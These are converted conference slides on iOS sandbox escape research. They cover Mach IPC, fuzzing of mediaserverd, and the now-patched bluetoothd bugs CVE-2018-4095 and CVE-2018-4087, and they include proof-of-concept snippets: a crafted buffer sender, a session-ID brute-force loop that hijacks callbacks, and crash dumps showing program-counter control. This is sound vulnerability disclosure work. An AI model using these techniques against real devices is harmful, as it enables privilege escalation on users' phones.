

# The Road to iOS Sandbox Escape



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# Agenda


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- Overview
  - iOS containerisation “sandbox”
- dyld\_shared\_cache
- launchd and Mach messages
- iOS research difficulties
- Sandbox escape
  - mediaserverd
  - bluetoothd (CVE-2018-4087 & CVE-2018-4095)
- ETA son?
- Q&A

# whoami

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
- Security Researcher
- Director of Platforms Research at Zimperium zLabs
- Based in TLV
- iOS researcher




# iOS

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- Evolved from OS X and is based upon the Darwin operating system
- In many ways it is similar to all \*OS device – tvOS, macOS, watchOS and so on
- XNU Kernel
- Strictly enforces sandbox limitations



# Applications



Videtoolbox API

# Core Services



IOKit  
communication

# Kernel



# dyld\_shared\_cache

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- All system libraries are combined into one cache file (dyld\_shared\_cache\_arm64)
- Several ways to analyze
  - IDA
  - jtool

# IPC (Inter-Process communication)

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
- Apple implemented a number of IPC mechanisms
  - XPC
  - Mach messages
  - Distributed objects
- POSIX
- Most IPCs rely on Mach messages


# Mach messages


- The underlying IPC underneath all the others
- Used within the kernel and user-mode
- mach\_msg\_trap – Sending messages to the kernel


```
typedef struct
{
    mach_msg_bits_t    msgh_bits;
    mach_msg_size_t   msgh_size;
    mach_port_t        msgh_remote_port;
    mach_port_t        msgh_local_port;
    mach_port_name_t   msgh_voucher_port;
    mach_msg_id_t      msgh_id;
} mach_msg_header_t;

mach_msg_return_t
mach_msg_send(mach_msg_header_t *);
```










# iOS Research difficulties

- Jailed
- Cannot attach debugger to daemons -> CrashReports  
Debugging or device console
- You cannot flash old versions
- Insufficient documentation
- IDA struggles with dyld\_shared\_cache




# What is a Sandbox escape?

Applications



Core Services  
"Brokers"



Kernel

# Choosing the target

```
iPhone:~ root# sbtool
Johnny's Sandbox Utility, v0.1
Usage: sbtool _pid_ [what]...
Where: what = all:      All operations (not ready yet)
        mach:       Check all known mach ports
        file:       Check file access (Requires dir
or file argument)
        inspect:   Call syscall_inspect on this PID
        vtrace:    Call syscall_vtrace on this PID
iPhone:~ root# sbtool 1558 mach
PID 1558 Container:
Checking Mach services for 1558.....
com.apple.voiceservices.tts: Yep
com.apple.timezoneupdates.tzd.server: Nope
com.apple.streaming_zip_conduit: Nope
com.apple.coremedia.decompressionsession: Yep
com.apple.server.bluetooth: Yep
```



Address	Length	Type	String
'S' VideoToolb...	00000029	C	IOSurfaceAcceleratorFormatIn2Planes42010
'S' VideoToolb...	0000002A	C	IOSurfaceAcceleratorFormatOut2Planes42010
'S' VideoToolb...	00000029	C	IOSurfaceAcceleratorFormatIn2Planes42210
'S' VideoToolb...	0000002A	C	IOSurfaceAcceleratorFormatOut2Planes42210
'S' VideoToolb...	00000029	C	IOSurfaceAcceleratorFormatIn2Planes44410
'S' VideoToolb...	0000002A	C	IOSurfaceAcceleratorFormatOut2Planes44410
'S' VideoToolb...	0000002A	C	IOSurfaceAcceleratorFormatOutLumaOnlyL008
'S' VideoToolb...	0000000C	C	AppleH1CLCD
'S' VideoToolb...	00000038	C	com.apple.coremedia.decompressionsession.clientcallback
'S' VideoToolb...	0000003B	C	com.apple.coremedia.decompressionsession.pendingframequeue
'S' VideoToolb...	00000024	C	VTDecompressionSessionRemote_Create
'S' VideoToolb...	00000028	C	VTDecompressionSessionRemote_Invalidate
'S' VideoToolb...	0000003D	C	VTDecompressionSessionRemote_CopySupportedPropertyDictionary
'S' VideoToolb...	00000038	C	VTDecompressionSessionRemote_CopySerializableProperties
'S' VideoToolb...	0000002A	C	VTDecompressionSessionRemote_CopyProperty
'S' VideoToolb...	00000029	C	VTDecompressionSessionRemote_SetProperty
'S' VideoToolb...	0000002B	C	VTDecompressionSessionRemote_SetProperties
'S' VideoToolb...	00000037	C	VTDecompressionSessionRemote_WaitForAsynchronousFrames
'S' VideoToolb...	00000031	C	VTDecompressionSessionRemote_FinishDelayedFrames
'S' VideoToolb...	00000038	C	VTDecompressionSessionRemote_CanAcceptFormatDescription
'S' VideoToolb...	00000053	C	VTDecompressionSessionRemote_GetMinOutputPresentationTimeStampOfFramesBeingDe...
'S' VideoToolb...	00000059	C	VTDecompressionSessionRemote_GetMinAndMaxOutputPresentationTimeStampOfFrames...
'S' VideoToolb...	00000028	C	VTTileDecompressionSessionRemote_Create
'S' VideoToolb...	00000028	C	VTDecompressionSessionRemote_DecodeTile
'S' VideoToolb...	00000030	C	VTDecompressionSessionRemote_FinishDelayedTiles
'S' VideoToolb...	00000029	C	com.apple.coremedia.decompressionsession
'S' VideoToolb...	0000002F	C	vtdsr_dequeueNextPendingFrameAndCallbackClient

Line 282623 of 4106624

```
ADRP X0, #aComAppleCoreme_69@PAGE ; "com.apple.coremedia.decompressionsession"...
ADD  X0, X0, #aComAppleCoreme_69@PAGEOFF ; "com.apple.coremedia.decompressionsession"...
ADRP X2, #_vtdecompressionsession_server@PAGE
ADD  X2, X2, #_vtdecompressionsession_server@PAGEOFF ; messages handler
ADRP X3, #_VTDecompressionSessionRemoteServer_Destroy@PAGE
ADD  X3, X3, #_VTDecompressionSessionRemoteServer_Destroy@PAGEOFF
ADRP X4,#_gVTDecompressionServerState@PAGE
ADD  X4, X4, #_gVTDecompressionServerState@PAGEOFF
MOV  W1, #0x24C VideoToolbox:__text:0000000184252EF4
B    _FigRPCStartServer
```

```
__int64 vtdecompressionsession_server(mach_msg_header_t *in_msg,
mach_msg_header_t *out_msg)
{
    out_msg->msgh_bits = in_msg->msgh_bits & 0x1F;
    out_msg->msgh_remote_port = in_msg->msgh_remote_port;
    out_msg->msgh_local_port = 0;
    out_msg->msgh_size = 36;
    v2 = in_msg->msgh_id + 100;
    out_msg->msgh_reserved = 0;
    out_msg->msgh_id = v2;
    msg_id = in_msg->msgh_id - 18200;
    if ( msg_id <= 0xE &&
(handler_addr = vtdecompressionsession_subsystem[5 * msg_id + 5]) != 0 ) {
        (handler_addr)(in_msg, out_msg);
    result = 1LL; }
```

## vtdecompressionsessioncallback\_subsystem

XCreate

XDestroy

XCopySupportedPropertyDictionary

XCopySerializableProperties

XDecodeFrame


```
boolean_t callback(mach_msg_header_t *in_msg,  
                   mach_msg_header_t *out_msg);
```


# XDecodeFrame

- Backend of VTDecompressionSessionDecodeFrame
- Decoding frames from serialized buffer
- Return message with the result back to the client

```
session = 0LL;
found_session = vtdss_findClientFromCommandPort(local_port,
&session);
if (found_session ||
FigRemote_CreateSampleBufferFromSerializedAtomData(v10,
v9, v8, session + 16, 0LL, &v28)) != 0 )
```


- **Manual analysis + Intercepting + Modifying = PROFIT**





# Serialize

- Reversing the function `sbufAtom_createSampleBufferFromSerializedAtomDataAndSurface`
- TLV - Type Length Value (~LTV)



```
seri = SerializedBuffer()
node = Node("sbu", "aaaaaaaaaaaaaaaaaaaaaaaaaa")
seri.add_node(node)
node = Node("stia", "a" * (0x4f))
seri.add_node(node)
```

```
void sendBuffer()
{
    int decompression_session_port = 0;
    VTDecompressionSessionRef ref =
createDecompressionSession(&decompression_session_port);

    char buff[] = { 0x10, 0x0, 0x0, 0x0, 0x66, 0x75, 0x62,
0x73, 0xf7, 0xff, 0xff, 0x0, 0x7a, 0x69, 0x73, 0x73 };

    send_DecodeFrame(decompression_session_port, buff,
sizeof(buff));
}
```



Application

VTDecompressionSessionCreate

mediaserverd

XCreate

VTDecompressionSessionDecodeFrame

XDecodeFrame

Raw serialized Buffer

0x50, 0x0, 0x0, 0x0, 'f', 'u', 'b', 's',  
0xf7, 0xff, 0xff, 0x0, 0x7a, 0x69,

Intercept





Application

VTDecompressionSessionCreate

mediaserverd

XCreate

VTDecompressionSessionDecodeFrame

XDecodeFrame


Raw serialized Buffer

0x50, 0x0, 0x0, 0x0, 'f', 'u', 'b', 's',  
0xf7, 0xff, 0xff, 0x0, 0x7a, 0x69,

Intercept

Modify  
"Fuzz"

Replay



# Crashes everywhere

```
rani@bugger ~/research> ls tracebacks/ |  
3032  
-----  
In: uniq_traceback  
In: len(uniq_traceb  
Out: 31
```

Stray asserts  
Null Dereference  
**'se-After-Free'**  
**out of bounds read**  
**out of bounds write**



# iOS 11

- Apple refactored mediaserverd callbacks



# bluetoothd

---

- Rebranded from "BTServer"
- Implements the bluetooth stack
- Each process with bluetooth entitlement communicates via bluetoothd
- Trusted "broker"

```
mach_BTLocalDeviceGetPairedDevices_16(BTLocalDeviceGetPairedDevices_
input *in_msg, BTLocalDeviceGetPairedDevices_output *out_msg)
{ if ( in_msg->header.msgh_bits & MACH_MSGH_BITS_COMPLEX || in_msg-
>header.msgh_size != 0x2C )
{ out_msg->return_value = 0xFFFFFED0;
} else {
    out_msg->data_0xc = 0x1000101;
    out_msg->data_0x1c = 0;
    GetPairedDevices_internal(in_msg->header.msgh_local_port,
        in_msg->data_0x8,
        out_msg->data_0x4,
        out_msg->data_0x1c,
        in msg->data 0x10);
```

```
void * __fastcall GetPairedDevices_internal(__int64 a1, __int64 a2,  
vm_address_t *a3, _DWORD *a4, unsigned int a5)  
{  
    size = 0LL;  
    paired_devices_array = &size - ((8LL * a5 + 15) & 0xFFFFFFFFF0LL);  
    result = get_paired_devices(a2, paired_devices_array, &size, a5);  
    v9 = result;  
    v10 = size;  
    if ( size ) {  
        size *= 8LL;  
        mig_allocate(a3, 8 * v10);  
        result = memcpy(*a3, array_pointer, size);  
        LODWORD(v10) = size;  
    }  
    *a4 = v10;  
    result = v9;  
    return result;  
}
```

paired\_devices paired\_devices\_array[a5];

MOV	W3, W4
MOV	X8, SP
LSL	X9, X3, #3
ADD	X9, X9, #0xF
AND	X9, X9, #0xFFFFFFFF0
SUB	X22, X8, X9
MOV	SP, X22

sp = sp - ((8 \* a5 + 15) & 0xFFFFFFFF0);

# CVE-2018-4095 (sp control)

---

- Relative control SP
- Info leak
- `_BTLocalDeviceGetPairedDevices`
- `_BTLocalDeviceGetConnectedDevices`
- `_BTLocalDeviceGetConnectingDevices`
- `_BTLocalDeviceGetDeviceNamesThatMayBeBlacklisted`
- `_BTDiscoveryAgentGetDevices`
- `_BTAccessoryManagerGetDevices`


# CVE-2018-4095 (sp control) - fix

- BTLocalDeviceGetPairedDevices

```
if (a5 <= 0x100)
{
    sp = 0LL;
    v7 = &sp - ((8LL * a5 + 15) & 0xFFFFFFFFF0LL);
    ...
}
```


bluetoothd

## Attached clients



bluetoothd

## Attached clients



```
BTLocalDeviceAddCallbacks_3(BTLocalDeviceAddCallbacks_input *in_msg,  
mach__BTLocalDeviceAddCallbacks_output *out_msg)  
{  
    v2 = output;  
    if ( input->header.msgh_bits & MACH_MSGH_BITS_COMPLEX || input->header.msgh_size != 0x48 )  
    { output->return_value = 0xFFFFFED0; }  
    else {  
        AddCallbacks_internal(  
            input->session,  
            input->callback,  
            input->data);
```


# How the session is being verified?

- Compared against dictionary of sessions

```
if (!verify_session(sessions, session))  
    return 7;
```


bluetoothd

## Attached clients




bluetoothd

## Attached clients



bluetoothd

## Attached clients



```
for (int session = 0; session <= 0xffff; session++) {  
    BTLocalDevice_add_callback(btlocaldevice,  
        (session << 16) + 1,  
        0xdeadbeef,  
        0x13371337);  
}
```

Thread 1 name: Dispatch queue: BluetoothBridge

Thread 1 Crash

```
0  ???          0x00000000deadbeef 0 + 3735928559
1  MobileBlu   0x00000000190aa35e8 0x190a96000 + 54760
2  libdispatch  0x000000001bc131c 0x184ba8000 + 103196
3  libdispatch  0x000000001bc131c 0x184ba8000 + 4168
4  libdispatch  0x000000001bc131c 0x184ba8000 + 37844
5  libdispatch  0x000000001bc131c 0x184ba8000 + 76964
6  libdispatch  0x000000001bc131c 0x184ba8000 + 44264
7  libdispatch  0x000000001bc131c 0x184ba8000 + 47064
8  libdispatch  0x000000001bc131c 0x184ba8000 + 49564
9  libdispatch  0x000000001bc131c 0x184ba8000 + 53104
10 libdispatch  0x000000001bc131c 0x184ba8000 + 56644
11 libdispatch  0x000000001bc131c 0x184ba8000 + 59184
```

Type
Crash


# GREAT SUCCESS!

Thread 0 crashed with ARM Thread State (64-bit):  
x0: 0x0000000000000001 x1: 0x0000000000000008 x2: 0x0000000000000000  
x4: 0x0000000000000000 x5: 0x000000013371337 x6: 0x00000000deadbeef  
pc: 0x00000000deadbeef



1337  
0023

# Apple's fix - CVE-2018-4087

- BTLocalDeviceAddCallbacks



# ETA son? Jailbreak?



- @SparkZheng - Private Jailbreak

 **Min(Spark) Zheng**  
@SparkZheng Following ▾

iOS jailbreak internals (2): Escaping sandbox using callbacks on iOS 11.4:  
[weibo.com/ttarticle/p/sh...](http://weibo.com/ttarticle/p/sh...) More cases will be talked in #DEFCON26

Incident Identifier:	47FDCF3B-E85E-42A5-B248-0A0170243EF6
CrashReporter Key:	e7e78d383581d5966ceefcf432384958d5f317a2
Hardware Model:	iPhone8,1
Process:	bluetoothd [323]
Path:	/usr/sbin/bluetoothd
Identifier:	bluetoothd
Version:	???
Code Type:	ARM-64 (Native)
Role:	Unspecified
Parent Process:	launchd [1]
Coalition:	com.apple.bluetoothd [119]
Date/Time:	2018-03-30 18:36:40.4976 +0800
Launch Time:	2018-03-30 18:24:51.0265 +0800
OS Version:	iPhone OS 11.3 (15E216)
Baseband Version:	
Report Version:	104
Exception Type:	EXC_BAD_ACCESS (SIGBUS)
Exception Subtype:	EXC_ARM_DA_ALIGN at 0x0042424242424242

**DEFCON.**

# References

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- Jtool - <http://www.newosxbook.com/tools/jtool.html>
- partialZipBrowser - <https://github.com/tihmstar/partialZipBrowser>
- sark - <https://github.com/tmr232/Sark>
- sbtool - <http://newosxbook.com/src.jl?tree=listings&file=sbtool.c>
- <https://github.com/rani-i/bluetoothdPoC>
- <https://github.com/zhenqmin1989/MyArticles/blob/master/PPT/DEFCON-26-Min-Spark-Zheng-iOS-11-SBE.pdf>
- <https://www.weibo.com/ttarticle/p/show?id=2309404271293301154324>

# Some credits

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- Zimperium (@ZIMPERIUM)
- Jonathan Levin
- Adam Donenfeld (@doadam)
- Tamir Zahavi-Brunner (@tamir\_zb)
- Nikias Bassen (@pimskeks)
- @SparkZheng

# Thank you!

## Your turn

Q & (Hope for an A)